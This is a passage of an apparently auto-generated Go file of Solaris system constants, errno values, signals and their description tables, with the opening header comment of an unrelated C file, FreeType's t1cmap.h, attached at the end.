O_WRONLY = 0x1
O_XATTR = 0x4000
PARENB = 0x100
PAREXT = 0x100000
PARMRK = 0x8
PARODD = 0x200
PENDIN = 0x4000
PRIO_PGRP = 0x1
PRIO_PROCESS = 0x0
PRIO_USER = 0x2
PROT_EXEC = 0x4
PROT_NONE = 0x0
PROT_READ = 0x1
PROT_WRITE = 0x2
RLIMIT_AS = 0x6
RLIMIT_CORE = 0x4
RLIMIT_CPU = 0x0
RLIMIT_DATA = 0x2
RLIMIT_FSIZE = 0x1
RLIMIT_NOFILE = 0x5
RLIMIT_STACK = 0x3
RLIM_INFINITY = -0x3
RTAX_AUTHOR = 0x6
RTAX_BRD = 0x7
RTAX_DST = 0x0
RTAX_GATEWAY = 0x1
RTAX_GENMASK = 0x3
RTAX_IFA = 0x5
RTAX_IFP = 0x4
RTAX_MAX = 0x9
RTAX_NETMASK = 0x2
RTAX_SRC = 0x8
RTA_AUTHOR = 0x40
RTA_BRD = 0x80
RTA_DST = 0x1
RTA_GATEWAY = 0x2
RTA_GENMASK = 0x8
RTA_IFA = 0x20
RTA_IFP = 0x10
RTA_NETMASK = 0x4
RTA_NUMBITS = 0x9
RTA_SRC = 0x100
RTF_BLACKHOLE = 0x1000
RTF_CLONING = 0x100
RTF_DONE = 0x40
RTF_DYNAMIC = 0x10
RTF_GATEWAY = 0x2
RTF_HOST = 0x4
RTF_INDIRECT = 0x40000
RTF_KERNEL = 0x80000
RTF_LLINFO = 0x400
RTF_MASK = 0x80
RTF_MODIFIED = 0x20
RTF_MULTIRT = 0x10000
RTF_PRIVATE = 0x2000
RTF_PROTO1 = 0x8000
RTF_PROTO2 = 0x4000
RTF_REJECT = 0x8
RTF_SETSRC = 0x20000
RTF_STATIC = 0x800
RTF_UP = 0x1
RTF_XRESOLVE = 0x200
RTF_ZONE = 0x100000
RTM_ADD = 0x1
RTM_CHANGE = 0x3
RTM_CHGADDR = 0xf
RTM_DELADDR = 0xd
RTM_DELETE = 0x2
RTM_FREEADDR = 0x10
RTM_GET = 0x4
RTM_IFINFO = 0xe
RTM_LOCK = 0x8
RTM_LOSING = 0x5
RTM_MISS = 0x7
RTM_NEWADDR = 0xc
RTM_OLDADD = 0x9
RTM_OLDDEL = 0xa
RTM_REDIRECT = 0x6
RTM_RESOLVE = 0xb
RTM_VERSION = 0x3
RTV_EXPIRE = 0x4
RTV_HOPCOUNT = 0x2
RTV_MTU = 0x1
RTV_RPIPE = 0x8
RTV_RTT = 0x40
RTV_RTTVAR = 0x80
RTV_SPIPE = 0x10
RTV_SSTHRESH = 0x20
RT_AWARE = 0x1
RUSAGE_CHILDREN = -0x1
RUSAGE_SELF = 0x0
SCM_RIGHTS = 0x1010
SCM_TIMESTAMP = 0x1013
SCM_UCRED = 0x1012
SHUT_RD = 0x0
SHUT_RDWR = 0x2
SHUT_WR = 0x1
SIG2STR_MAX = 0x20
SIOCADDMULTI = -0x7fdf96cf
SIOCADDRT = -0x7fcf8df6
SIOCATMARK = 0x40047307
SIOCDARP = -0x7fdb96e0
SIOCDELMULTI = -0x7fdf96ce
SIOCDELRT = -0x7fcf8df5
SIOCDXARP = -0x7fff9658
SIOCGARP = -0x3fdb96e1
SIOCGDSTINFO = -0x3fff965c
SIOCGENADDR = -0x3fdf96ab
SIOCGENPSTATS = -0x3fdf96c7
SIOCGETLSGCNT = -0x3fef8deb
SIOCGETNAME = 0x40107334
SIOCGETPEER = 0x40107335
SIOCGETPROP = -0x3fff8f44
SIOCGETSGCNT = -0x3feb8deb
SIOCGETSYNC = -0x3fdf96d3
SIOCGETVIFCNT = -0x3feb8dec
SIOCGHIWAT = 0x40047301
SIOCGIFADDR = -0x3fdf96f3
SIOCGIFBRDADDR = -0x3fdf96e9
SIOCGIFCONF = -0x3ff796a4
SIOCGIFDSTADDR = -0x3fdf96f1
SIOCGIFFLAGS = -0x3fdf96ef
SIOCGIFHWADDR = -0x3fdf9647
SIOCGIFINDEX = -0x3fdf96a6
SIOCGIFMEM = -0x3fdf96ed
SIOCGIFMETRIC = -0x3fdf96e5
SIOCGIFMTU = -0x3fdf96ea
SIOCGIFMUXID = -0x3fdf96a8
SIOCGIFNETMASK = -0x3fdf96e7
SIOCGIFNUM = 0x40046957
SIOCGIP6ADDRPOLICY = -0x3fff965e
SIOCGIPMSFILTER = -0x3ffb964c
SIOCGLIFADDR = -0x3f87968f
SIOCGLIFBINDING = -0x3f879666
SIOCGLIFBRDADDR = -0x3f879685
SIOCGLIFCONF = -0x3fef965b
SIOCGLIFDADSTATE = -0x3f879642
SIOCGLIFDSTADDR = -0x3f87968d
SIOCGLIFFLAGS = -0x3f87968b
SIOCGLIFGROUPINFO = -0x3f4b9663
SIOCGLIFGROUPNAME = -0x3f879664
SIOCGLIFHWADDR = -0x3f879640
SIOCGLIFINDEX = -0x3f87967b
SIOCGLIFLNKINFO = -0x3f879674
SIOCGLIFMETRIC = -0x3f879681
SIOCGLIFMTU = -0x3f879686
SIOCGLIFMUXID = -0x3f87967d
SIOCGLIFNETMASK = -0x3f879683
SIOCGLIFNUM = -0x3ff3967e
SIOCGLIFSRCOF = -0x3fef964f
SIOCGLIFSUBNET = -0x3f879676
SIOCGLIFTOKEN = -0x3f879678
SIOCGLIFUSESRC = -0x3f879651
SIOCGLIFZONE = -0x3f879656
SIOCGLOWAT = 0x40047303
SIOCGMSFILTER = -0x3ffb964e
SIOCGPGRP = 0x40047309
SIOCGSTAMP = -0x3fef9646
SIOCGXARP = -0x3fff9659
SIOCIFDETACH = -0x7fdf96c8
SIOCILB = -0x3ffb9645
SIOCLIFADDIF = -0x3f879691
SIOCLIFDELND = -0x7f879673
SIOCLIFGETND = -0x3f879672
SIOCLIFREMOVEIF = -0x7f879692
SIOCLIFSETND = -0x7f879671
SIOCLOWER = -0x7fdf96d7
SIOCSARP = -0x7fdb96e2
SIOCSCTPGOPT = -0x3fef9653
SIOCSCTPPEELOFF = -0x3ffb9652
SIOCSCTPSOPT = -0x7fef9654
SIOCSENABLESDP = -0x3ffb9649
SIOCSETPROP = -0x7ffb8f43
SIOCSETSYNC = -0x7fdf96d4
SIOCSHIWAT = -0x7ffb8d00
SIOCSIFADDR = -0x7fdf96f4
SIOCSIFBRDADDR = -0x7fdf96e8
SIOCSIFDSTADDR = -0x7fdf96f2
SIOCSIFFLAGS = -0x7fdf96f0
SIOCSIFINDEX = -0x7fdf96a5
SIOCSIFMEM = -0x7fdf96ee
SIOCSIFMETRIC = -0x7fdf96e4
SIOCSIFMTU = -0x7fdf96eb
SIOCSIFMUXID = -0x7fdf96a7
SIOCSIFNAME = -0x7fdf96b7
SIOCSIFNETMASK = -0x7fdf96e6
SIOCSIP6ADDRPOLICY = -0x7fff965d
SIOCSIPMSFILTER = -0x7ffb964b
SIOCSLGETREQ = -0x3fdf96b9
SIOCSLIFADDR = -0x7f879690
SIOCSLIFBRDADDR = -0x7f879684
SIOCSLIFDSTADDR = -0x7f87968e
SIOCSLIFFLAGS = -0x7f87968c
SIOCSLIFGROUPNAME = -0x7f879665
SIOCSLIFINDEX = -0x7f87967a
SIOCSLIFLNKINFO = -0x7f879675
SIOCSLIFMETRIC = -0x7f879680
SIOCSLIFMTU = -0x7f879687
SIOCSLIFMUXID = -0x7f87967c
SIOCSLIFNAME = -0x3f87967f
SIOCSLIFNETMASK = -0x7f879682
SIOCSLIFPREFIX = -0x3f879641
SIOCSLIFSUBNET = -0x7f879677
SIOCSLIFTOKEN = -0x7f879679
SIOCSLIFUSESRC = -0x7f879650
SIOCSLIFZONE = -0x7f879655
SIOCSLOWAT = -0x7ffb8cfe
SIOCSLSTAT = -0x7fdf96b8
SIOCSMSFILTER = -0x7ffb964d
SIOCSPGRP = -0x7ffb8cf8
SIOCSPROMISC = -0x7ffb96d0
SIOCSQPTR = -0x3ffb9648
SIOCSSDSTATS = -0x3fdf96d2
SIOCSSESTATS = -0x3fdf96d1
SIOCSXARP = -0x7fff965a
SIOCTMYADDR = -0x3ff79670
SIOCTMYSITE = -0x3ff7966e
SIOCTONLINK = -0x3ff7966f
SIOCUPPER = -0x7fdf96d8
SIOCX25RCV = -0x3fdf96c4
SIOCX25TBL = -0x3fdf96c3
SIOCX25XMT = -0x3fdf96c5
SIOCXPROTO = 0x20007337
SOCK_CLOEXEC = 0x80000
SOCK_DGRAM = 0x1
SOCK_NDELAY = 0x200000
SOCK_NONBLOCK = 0x100000
SOCK_RAW = 0x4
SOCK_RDM = 0x5
SOCK_SEQPACKET = 0x6
SOCK_STREAM = 0x2
SOCK_TYPE_MASK = 0xffff
SOL_FILTER = 0xfffc
SOL_PACKET = 0xfffd
SOL_ROUTE = 0xfffe
SOL_SOCKET = 0xffff
SOMAXCONN = 0x80
SO_ACCEPTCONN = 0x2
SO_ALL = 0x3f
SO_ALLZONES = 0x1014
SO_ANON_MLP = 0x100a
SO_ATTACH_FILTER = 0x40000001
SO_BAND = 0x4000
SO_BROADCAST = 0x20
SO_COPYOPT = 0x80000
SO_DEBUG = 0x1
SO_DELIM = 0x8000
SO_DETACH_FILTER = 0x40000002
SO_DGRAM_ERRIND = 0x200
SO_DOMAIN = 0x100c
SO_DONTLINGER = -0x81
SO_DONTROUTE = 0x10
SO_ERROPT = 0x40000
SO_ERROR = 0x1007
SO_EXCLBIND = 0x1015
SO_HIWAT = 0x10
SO_ISNTTY = 0x800
SO_ISTTY = 0x400
SO_KEEPALIVE = 0x8
SO_LINGER = 0x80
SO_LOWAT = 0x20
SO_MAC_EXEMPT = 0x100b
SO_MAC_IMPLICIT = 0x1016
SO_MAXBLK = 0x100000
SO_MAXPSZ = 0x8
SO_MINPSZ = 0x4
SO_MREADOFF = 0x80
SO_MREADON = 0x40
SO_NDELOFF = 0x200
SO_NDELON = 0x100
SO_NODELIM = 0x10000
SO_OOBINLINE = 0x100
SO_PROTOTYPE = 0x1009
SO_RCVBUF = 0x1002
SO_RCVLOWAT = 0x1004
SO_RCVPSH = 0x100d
SO_RCVTIMEO = 0x1006
SO_READOPT = 0x1
SO_RECVUCRED = 0x400
SO_REUSEADDR = 0x4
SO_SECATTR = 0x1011
SO_SNDBUF = 0x1001
SO_SNDLOWAT = 0x1003
SO_SNDTIMEO = 0x1005
SO_STRHOLD = 0x20000
SO_TAIL = 0x200000
SO_TIMESTAMP = 0x1013
SO_TONSTOP = 0x2000
SO_TOSTOP = 0x1000
SO_TYPE = 0x1008
SO_USELOOPBACK = 0x40
SO_VRRP = 0x1017
SO_WROFF = 0x2
S_ENFMT = 0x400
S_IAMB = 0x1ff
S_IEXEC = 0x40
S_IFBLK = 0x6000
S_IFCHR = 0x2000
S_IFDIR = 0x4000
S_IFDOOR = 0xd000
S_IFIFO = 0x1000
S_IFLNK = 0xa000
S_IFMT = 0xf000
S_IFNAM = 0x5000
S_IFPORT = 0xe000
S_IFREG = 0x8000
S_IFSOCK = 0xc000
S_INSEM = 0x1
S_INSHD = 0x2
S_IREAD = 0x100
S_IRGRP = 0x20
S_IROTH = 0x4
S_IRUSR = 0x100
S_IRWXG = 0x38
S_IRWXO = 0x7
S_IRWXU = 0x1c0
S_ISGID = 0x400
S_ISUID = 0x800
S_ISVTX = 0x200
S_IWGRP = 0x10
S_IWOTH = 0x2
S_IWRITE = 0x80
S_IWUSR = 0x80
S_IXGRP = 0x8
S_IXOTH = 0x1
S_IXUSR = 0x40
TAB0 = 0x0
TAB1 = 0x800
TAB2 = 0x1000
TAB3 = 0x1800
TABDLY = 0x1800
TCFLSH = 0x5407
TCGETA = 0x5401
TCGETS = 0x540d
TCIFLUSH = 0x0
TCIOFF = 0x2
TCIOFLUSH = 0x2
TCION = 0x3
TCOFLUSH = 0x1
TCOOFF = 0x0
TCOON = 0x1
TCP_ABORT_THRESHOLD = 0x11
TCP_ANONPRIVBIND = 0x20
TCP_CONN_ABORT_THRESHOLD = 0x13
TCP_CONN_NOTIFY_THRESHOLD = 0x12
TCP_CORK = 0x18
TCP_EXCLBIND = 0x21
TCP_INIT_CWND = 0x15
TCP_KEEPALIVE = 0x8
TCP_KEEPALIVE_ABORT_THRESHOLD = 0x17
TCP_KEEPALIVE_THRESHOLD = 0x16
TCP_KEEPCNT = 0x23
TCP_KEEPIDLE = 0x22
TCP_KEEPINTVL = 0x24
TCP_LINGER2 = 0x1c
TCP_MAXSEG = 0x2
TCP_MSS = 0x218
TCP_NODELAY = 0x1
TCP_NOTIFY_THRESHOLD = 0x10
TCP_RECVDSTADDR = 0x14
TCP_RTO_INITIAL = 0x19
TCP_RTO_MAX = 0x1b
TCP_RTO_MIN = 0x1a
TCSAFLUSH = 0x5410
TCSBRK = 0x5405
TCSETA = 0x5402
TCSETAF = 0x5404
TCSETAW = 0x5403
TCSETS = 0x540e
TCSETSF = 0x5410
TCSETSW = 0x540f
TCXONC = 0x5406
TIOC = 0x5400
TIOCCBRK = 0x747a
TIOCCDTR = 0x7478
TIOCCILOOP = 0x746c
TIOCEXCL = 0x740d
TIOCFLUSH = 0x7410
TIOCGETC = 0x7412
TIOCGETD = 0x7400
TIOCGETP = 0x7408
TIOCGLTC = 0x7474
TIOCGPGRP = 0x7414
TIOCGPPS = 0x547d
TIOCGPPSEV = 0x547f
TIOCGSID = 0x7416
TIOCGSOFTCAR = 0x5469
TIOCGWINSZ = 0x5468
TIOCHPCL = 0x7402
TIOCKBOF = 0x5409
TIOCKBON = 0x5408
TIOCLBIC = 0x747e
TIOCLBIS = 0x747f
TIOCLGET = 0x747c
TIOCLSET = 0x747d
TIOCMBIC = 0x741c
TIOCMBIS = 0x741b
TIOCMGET = 0x741d
TIOCMSET = 0x741a
TIOCM_CAR = 0x40
TIOCM_CD = 0x40
TIOCM_CTS = 0x20
TIOCM_DSR = 0x100
TIOCM_DTR = 0x2
TIOCM_LE = 0x1
TIOCM_RI = 0x80
TIOCM_RNG = 0x80
TIOCM_RTS = 0x4
TIOCM_SR = 0x10
TIOCM_ST = 0x8
TIOCNOTTY = 0x7471
TIOCNXCL = 0x740e
TIOCOUTQ = 0x7473
TIOCREMOTE = 0x741e
TIOCSBRK = 0x747b
TIOCSCTTY = 0x7484
TIOCSDTR = 0x7479
TIOCSETC = 0x7411
TIOCSETD = 0x7401
TIOCSETN = 0x740a
TIOCSETP = 0x7409
TIOCSIGNAL = 0x741f
TIOCSILOOP = 0x746d
TIOCSLTC = 0x7475
TIOCSPGRP = 0x7415
TIOCSPPS = 0x547e
TIOCSSOFTCAR = 0x546a
TIOCSTART = 0x746e
TIOCSTI = 0x7417
TIOCSTOP = 0x746f
TIOCSWINSZ = 0x5467
TOSTOP = 0x100
UTIME_NOW = -0x1
UTIME_OMIT = -0x2
VCEOF = 0x8
VCEOL = 0x9
VDISCARD = 0xd
VDSUSP = 0xb
VEOF = 0x4
VEOL = 0x5
VEOL2 = 0x6
VERASE = 0x2
VERASE2 = 0x11
VINTR = 0x0
VKILL = 0x3
VLNEXT = 0xf
VMIN = 0x4
VQUIT = 0x1
VREPRINT = 0xc
VSTART = 0x8
VSTATUS = 0x10
VSTOP = 0x9
VSUSP = 0xa
VSWTCH = 0x7
VT0 = 0x0
VT1 = 0x4000
VTDLY = 0x4000
VTIME = 0x5
VWERASE = 0xe
WCONTFLG = 0xffff
WCONTINUED = 0x8
WCOREFLG = 0x80
WEXITED = 0x1
WNOHANG = 0x40
WNOWAIT = 0x80
WOPTMASK = 0xcf
WRAP = 0x20000
WSIGMASK = 0x7f
WSTOPFLG = 0x7f
WSTOPPED = 0x4
WTRAPPED = 0x2
WUNTRACED = 0x4
XCASE = 0x4
XTABS = 0x1800
)
// Errors
const (
E2BIG = syscall.Errno(0x7)
EACCES = syscall.Errno(0xd)
EADDRINUSE = syscall.Errno(0x7d)
EADDRNOTAVAIL = syscall.Errno(0x7e)
EADV = syscall.Errno(0x44)
EAFNOSUPPORT = syscall.Errno(0x7c)
EAGAIN = syscall.Errno(0xb)
EALREADY = syscall.Errno(0x95)
EBADE = syscall.Errno(0x32)
EBADF = syscall.Errno(0x9)
EBADFD = syscall.Errno(0x51)
EBADMSG = syscall.Errno(0x4d)
EBADR = syscall.Errno(0x33)
EBADRQC = syscall.Errno(0x36)
EBADSLT = syscall.Errno(0x37)
EBFONT = syscall.Errno(0x39)
EBUSY = syscall.Errno(0x10)
ECANCELED = syscall.Errno(0x2f)
ECHILD = syscall.Errno(0xa)
ECHRNG = syscall.Errno(0x25)
ECOMM = syscall.Errno(0x46)
ECONNABORTED = syscall.Errno(0x82)
ECONNREFUSED = syscall.Errno(0x92)
ECONNRESET = syscall.Errno(0x83)
EDEADLK = syscall.Errno(0x2d)
EDEADLOCK = syscall.Errno(0x38)
EDESTADDRREQ = syscall.Errno(0x60)
EDOM = syscall.Errno(0x21)
EDQUOT = syscall.Errno(0x31)
EEXIST = syscall.Errno(0x11)
EFAULT = syscall.Errno(0xe)
EFBIG = syscall.Errno(0x1b)
EHOSTDOWN = syscall.Errno(0x93)
EHOSTUNREACH = syscall.Errno(0x94)
EIDRM = syscall.Errno(0x24)
EILSEQ = syscall.Errno(0x58)
EINPROGRESS = syscall.Errno(0x96)
EINTR = syscall.Errno(0x4)
EINVAL = syscall.Errno(0x16)
EIO = syscall.Errno(0x5)
EISCONN = syscall.Errno(0x85)
EISDIR = syscall.Errno(0x15)
EL2HLT = syscall.Errno(0x2c)
EL2NSYNC = syscall.Errno(0x26)
EL3HLT = syscall.Errno(0x27)
EL3RST = syscall.Errno(0x28)
ELIBACC = syscall.Errno(0x53)
ELIBBAD = syscall.Errno(0x54)
ELIBEXEC = syscall.Errno(0x57)
ELIBMAX = syscall.Errno(0x56)
ELIBSCN = syscall.Errno(0x55)
ELNRNG = syscall.Errno(0x29)
ELOCKUNMAPPED = syscall.Errno(0x48)
ELOOP = syscall.Errno(0x5a)
EMFILE = syscall.Errno(0x18)
EMLINK = syscall.Errno(0x1f)
EMSGSIZE = syscall.Errno(0x61)
EMULTIHOP = syscall.Errno(0x4a)
ENAMETOOLONG = syscall.Errno(0x4e)
ENETDOWN = syscall.Errno(0x7f)
ENETRESET = syscall.Errno(0x81)
ENETUNREACH = syscall.Errno(0x80)
ENFILE = syscall.Errno(0x17)
ENOANO = syscall.Errno(0x35)
ENOBUFS = syscall.Errno(0x84)
ENOCSI = syscall.Errno(0x2b)
ENODATA = syscall.Errno(0x3d)
ENODEV = syscall.Errno(0x13)
ENOENT = syscall.Errno(0x2)
ENOEXEC = syscall.Errno(0x8)
ENOLCK = syscall.Errno(0x2e)
ENOLINK = syscall.Errno(0x43)
ENOMEM = syscall.Errno(0xc)
ENOMSG = syscall.Errno(0x23)
ENONET = syscall.Errno(0x40)
ENOPKG = syscall.Errno(0x41)
ENOPROTOOPT = syscall.Errno(0x63)
ENOSPC = syscall.Errno(0x1c)
ENOSR = syscall.Errno(0x3f)
ENOSTR = syscall.Errno(0x3c)
ENOSYS = syscall.Errno(0x59)
ENOTACTIVE = syscall.Errno(0x49)
ENOTBLK = syscall.Errno(0xf)
ENOTCONN = syscall.Errno(0x86)
ENOTDIR = syscall.Errno(0x14)
ENOTEMPTY = syscall.Errno(0x5d)
ENOTRECOVERABLE = syscall.Errno(0x3b)
ENOTSOCK = syscall.Errno(0x5f)
ENOTSUP = syscall.Errno(0x30)
ENOTTY = syscall.Errno(0x19)
ENOTUNIQ = syscall.Errno(0x50)
ENXIO = syscall.Errno(0x6)
EOPNOTSUPP = syscall.Errno(0x7a)
EOVERFLOW = syscall.Errno(0x4f)
EOWNERDEAD = syscall.Errno(0x3a)
EPERM = syscall.Errno(0x1)
EPFNOSUPPORT = syscall.Errno(0x7b)
EPIPE = syscall.Errno(0x20)
EPROTO = syscall.Errno(0x47)
EPROTONOSUPPORT = syscall.Errno(0x78)
EPROTOTYPE = syscall.Errno(0x62)
ERANGE = syscall.Errno(0x22)
EREMCHG = syscall.Errno(0x52)
EREMOTE = syscall.Errno(0x42)
ERESTART = syscall.Errno(0x5b)
EROFS = syscall.Errno(0x1e)
ESHUTDOWN = syscall.Errno(0x8f)
ESOCKTNOSUPPORT = syscall.Errno(0x79)
ESPIPE = syscall.Errno(0x1d)
ESRCH = syscall.Errno(0x3)
ESRMNT = syscall.Errno(0x45)
ESTALE = syscall.Errno(0x97)
ESTRPIPE = syscall.Errno(0x5c)
ETIME = syscall.Errno(0x3e)
ETIMEDOUT = syscall.Errno(0x91)
ETOOMANYREFS = syscall.Errno(0x90)
ETXTBSY = syscall.Errno(0x1a)
EUNATCH = syscall.Errno(0x2a)
EUSERS = syscall.Errno(0x5e)
EWOULDBLOCK = syscall.Errno(0xb)
EXDEV = syscall.Errno(0x12)
EXFULL = syscall.Errno(0x34)
)
// Signals
const (
SIGABRT = syscall.Signal(0x6)
SIGALRM = syscall.Signal(0xe)
SIGBUS = syscall.Signal(0xa)
SIGCANCEL = syscall.Signal(0x24)
SIGCHLD = syscall.Signal(0x12)
SIGCLD = syscall.Signal(0x12)
SIGCONT = syscall.Signal(0x19)
SIGEMT = syscall.Signal(0x7)
SIGFPE = syscall.Signal(0x8)
SIGFREEZE = syscall.Signal(0x22)
SIGHUP = syscall.Signal(0x1)
SIGILL = syscall.Signal(0x4)
SIGINFO = syscall.Signal(0x29)
SIGINT = syscall.Signal(0x2)
SIGIO = syscall.Signal(0x16)
SIGIOT = syscall.Signal(0x6)
SIGJVM1 = syscall.Signal(0x27)
SIGJVM2 = syscall.Signal(0x28)
SIGKILL = syscall.Signal(0x9)
SIGLOST = syscall.Signal(0x25)
SIGLWP = syscall.Signal(0x21)
SIGPIPE = syscall.Signal(0xd)
SIGPOLL = syscall.Signal(0x16)
SIGPROF = syscall.Signal(0x1d)
SIGPWR = syscall.Signal(0x13)
SIGQUIT = syscall.Signal(0x3)
SIGSEGV = syscall.Signal(0xb)
SIGSTOP = syscall.Signal(0x17)
SIGSYS = syscall.Signal(0xc)
SIGTERM = syscall.Signal(0xf)
SIGTHAW = syscall.Signal(0x23)
SIGTRAP = syscall.Signal(0x5)
SIGTSTP = syscall.Signal(0x18)
SIGTTIN = syscall.Signal(0x1a)
SIGTTOU = syscall.Signal(0x1b)
SIGURG = syscall.Signal(0x15)
SIGUSR1 = syscall.Signal(0x10)
SIGUSR2 = syscall.Signal(0x11)
SIGVTALRM = syscall.Signal(0x1c)
SIGWAITING = syscall.Signal(0x20)
SIGWINCH = syscall.Signal(0x14)
SIGXCPU = syscall.Signal(0x1e)
SIGXFSZ = syscall.Signal(0x1f)
SIGXRES = syscall.Signal(0x26)
)
// Error table
var errorList = [...]struct {
num syscall.Errno
name string
desc string
}{
{1, "EPERM", "not owner"},
{2, "ENOENT", "no such file or directory"},
{3, "ESRCH", "no such process"},
{4, "EINTR", "interrupted system call"},
{5, "EIO", "I/O error"},
{6, "ENXIO", "no such device or address"},
{7, "E2BIG", "arg list too long"},
{8, "ENOEXEC", "exec format error"},
{9, "EBADF", "bad file number"},
{10, "ECHILD", "no child processes"},
{11, "EAGAIN", "resource temporarily unavailable"},
{12, "ENOMEM", "not enough space"},
{13, "EACCES", "permission denied"},
{14, "EFAULT", "bad address"},
{15, "ENOTBLK", "block device required"},
{16, "EBUSY", "device busy"},
{17, "EEXIST", "file exists"},
{18, "EXDEV", "cross-device link"},
{19, "ENODEV", "no such device"},
{20, "ENOTDIR", "not a directory"},
{21, "EISDIR", "is a directory"},
{22, "EINVAL", "invalid argument"},
{23, "ENFILE", "file table overflow"},
{24, "EMFILE", "too many open files"},
{25, "ENOTTY", "inappropriate ioctl for device"},
{26, "ETXTBSY", "text file busy"},
{27, "EFBIG", "file too large"},
{28, "ENOSPC", "no space left on device"},
{29, "ESPIPE", "illegal seek"},
{30, "EROFS", "read-only file system"},
{31, "EMLINK", "too many links"},
{32, "EPIPE", "broken pipe"},
{33, "EDOM", "argument out of domain"},
{34, "ERANGE", "result too large"},
{35, "ENOMSG", "no message of desired type"},
{36, "EIDRM", "identifier removed"},
{37, "ECHRNG", "channel number out of range"},
{38, "EL2NSYNC", "level 2 not synchronized"},
{39, "EL3HLT", "level 3 halted"},
{40, "EL3RST", "level 3 reset"},
{41, "ELNRNG", "link number out of range"},
{42, "EUNATCH", "protocol driver not attached"},
{43, "ENOCSI", "no CSI structure available"},
{44, "EL2HLT", "level 2 halted"},
{45, "EDEADLK", "deadlock situation detected/avoided"},
{46, "ENOLCK", "no record locks available"},
{47, "ECANCELED", "operation canceled"},
{48, "ENOTSUP", "operation not supported"},
{49, "EDQUOT", "disc quota exceeded"},
{50, "EBADE", "bad exchange descriptor"},
{51, "EBADR", "bad request descriptor"},
{52, "EXFULL", "message tables full"},
{53, "ENOANO", "anode table overflow"},
{54, "EBADRQC", "bad request code"},
{55, "EBADSLT", "invalid slot"},
{56, "EDEADLOCK", "file locking deadlock"},
{57, "EBFONT", "bad font file format"},
{58, "EOWNERDEAD", "owner of the lock died"},
{59, "ENOTRECOVERABLE", "lock is not recoverable"},
{60, "ENOSTR", "not a stream device"},
{61, "ENODATA", "no data available"},
{62, "ETIME", "timer expired"},
{63, "ENOSR", "out of stream resources"},
{64, "ENONET", "machine is not on the network"},
{65, "ENOPKG", "package not installed"},
{66, "EREMOTE", "object is remote"},
{67, "ENOLINK", "link has been severed"},
{68, "EADV", "advertise error"},
{69, "ESRMNT", "srmount error"},
{70, "ECOMM", "communication error on send"},
{71, "EPROTO", "protocol error"},
{72, "ELOCKUNMAPPED", "locked lock was unmapped "},
{73, "ENOTACTIVE", "facility is not active"},
{74, "EMULTIHOP", "multihop attempted"},
{77, "EBADMSG", "not a data message"},
{78, "ENAMETOOLONG", "file name too long"},
{79, "EOVERFLOW", "value too large for defined data type"},
{80, "ENOTUNIQ", "name not unique on network"},
{81, "EBADFD", "file descriptor in bad state"},
{82, "EREMCHG", "remote address changed"},
{83, "ELIBACC", "can not access a needed shared library"},
{84, "ELIBBAD", "accessing a corrupted shared library"},
{85, "ELIBSCN", ".lib section in a.out corrupted"},
{86, "ELIBMAX", "attempting to link in more shared libraries than system limit"},
{87, "ELIBEXEC", "can not exec a shared library directly"},
{88, "EILSEQ", "illegal byte sequence"},
{89, "ENOSYS", "operation not applicable"},
{90, "ELOOP", "number of symbolic links encountered during path name traversal exceeds MAXSYMLINKS"},
{91, "ERESTART", "error 91"},
{92, "ESTRPIPE", "error 92"},
{93, "ENOTEMPTY", "directory not empty"},
{94, "EUSERS", "too many users"},
{95, "ENOTSOCK", "socket operation on non-socket"},
{96, "EDESTADDRREQ", "destination address required"},
{97, "EMSGSIZE", "message too long"},
{98, "EPROTOTYPE", "protocol wrong type for socket"},
{99, "ENOPROTOOPT", "option not supported by protocol"},
{120, "EPROTONOSUPPORT", "protocol not supported"},
{121, "ESOCKTNOSUPPORT", "socket type not supported"},
{122, "EOPNOTSUPP", "operation not supported on transport endpoint"},
{123, "EPFNOSUPPORT", "protocol family not supported"},
{124, "EAFNOSUPPORT", "address family not supported by protocol family"},
{125, "EADDRINUSE", "address already in use"},
{126, "EADDRNOTAVAIL", "cannot assign requested address"},
{127, "ENETDOWN", "network is down"},
{128, "ENETUNREACH", "network is unreachable"},
{129, "ENETRESET", "network dropped connection because of reset"},
{130, "ECONNABORTED", "software caused connection abort"},
{131, "ECONNRESET", "connection reset by peer"},
{132, "ENOBUFS", "no buffer space available"},
{133, "EISCONN", "transport endpoint is already connected"},
{134, "ENOTCONN", "transport endpoint is not connected"},
{143, "ESHUTDOWN", "cannot send after socket shutdown"},
{144, "ETOOMANYREFS", "too many references: cannot splice"},
{145, "ETIMEDOUT", "connection timed out"},
{146, "ECONNREFUSED", "connection refused"},
{147, "EHOSTDOWN", "host is down"},
{148, "EHOSTUNREACH", "no route to host"},
{149, "EALREADY", "operation already in progress"},
{150, "EINPROGRESS", "operation now in progress"},
{151, "ESTALE", "stale NFS file handle"},
}
// Signal table
var signalList = [...]struct {
num syscall.Signal
name string
desc string
}{
{1, "SIGHUP", "hangup"},
{2, "SIGINT", "interrupt"},
{3, "SIGQUIT", "quit"},
{4, "SIGILL", "illegal Instruction"},
{5, "SIGTRAP", "trace/Breakpoint Trap"},
{6, "SIGABRT", "abort"},
{7, "SIGEMT", "emulation Trap"},
{8, "SIGFPE", "arithmetic Exception"},
{9, "SIGKILL", "killed"},
{10, "SIGBUS", "bus Error"},
{11, "SIGSEGV", "segmentation Fault"},
{12, "SIGSYS", "bad System Call"},
{13, "SIGPIPE", "broken Pipe"},
{14, "SIGALRM", "alarm Clock"},
{15, "SIGTERM", "terminated"},
{16, "SIGUSR1", "user Signal 1"},
{17, "SIGUSR2", "user Signal 2"},
{18, "SIGCHLD", "child Status Changed"},
{19, "SIGPWR", "power-Fail/Restart"},
{20, "SIGWINCH", "window Size Change"},
{21, "SIGURG", "urgent Socket Condition"},
{22, "SIGIO", "pollable Event"},
{23, "SIGSTOP", "stopped (signal)"},
{24, "SIGTSTP", "stopped (user)"},
{25, "SIGCONT", "continued"},
{26, "SIGTTIN", "stopped (tty input)"},
{27, "SIGTTOU", "stopped (tty output)"},
{28, "SIGVTALRM", "virtual Timer Expired"},
{29, "SIGPROF", "profiling Timer Expired"},
{30, "SIGXCPU", "cpu Limit Exceeded"},
{31, "SIGXFSZ", "file Size Limit Exceeded"},
{32, "SIGWAITING", "no runnable lwp"},
{33, "SIGLWP", "inter-lwp signal"},
{34, "SIGFREEZE", "checkpoint Freeze"},
{35, "SIGTHAW", "checkpoint Thaw"},
{36, "SIGCANCEL", "thread Cancellation"},
{37, "SIGLOST", "resource Lost"},
{38, "SIGXRES", "resource Control Exceeded"},
{39, "SIGJVM1", "reserved for JVM 1"},
{40, "SIGJVM2", "reserved for JVM 2"},
{41, "SIGINFO", "information Request"},
}
|
{
"pile_set_name": "Github"
}
|
/***************************************************************************/
/* */
/* t1cmap.h */
/* */
/* Type 1 character map support (specification). */
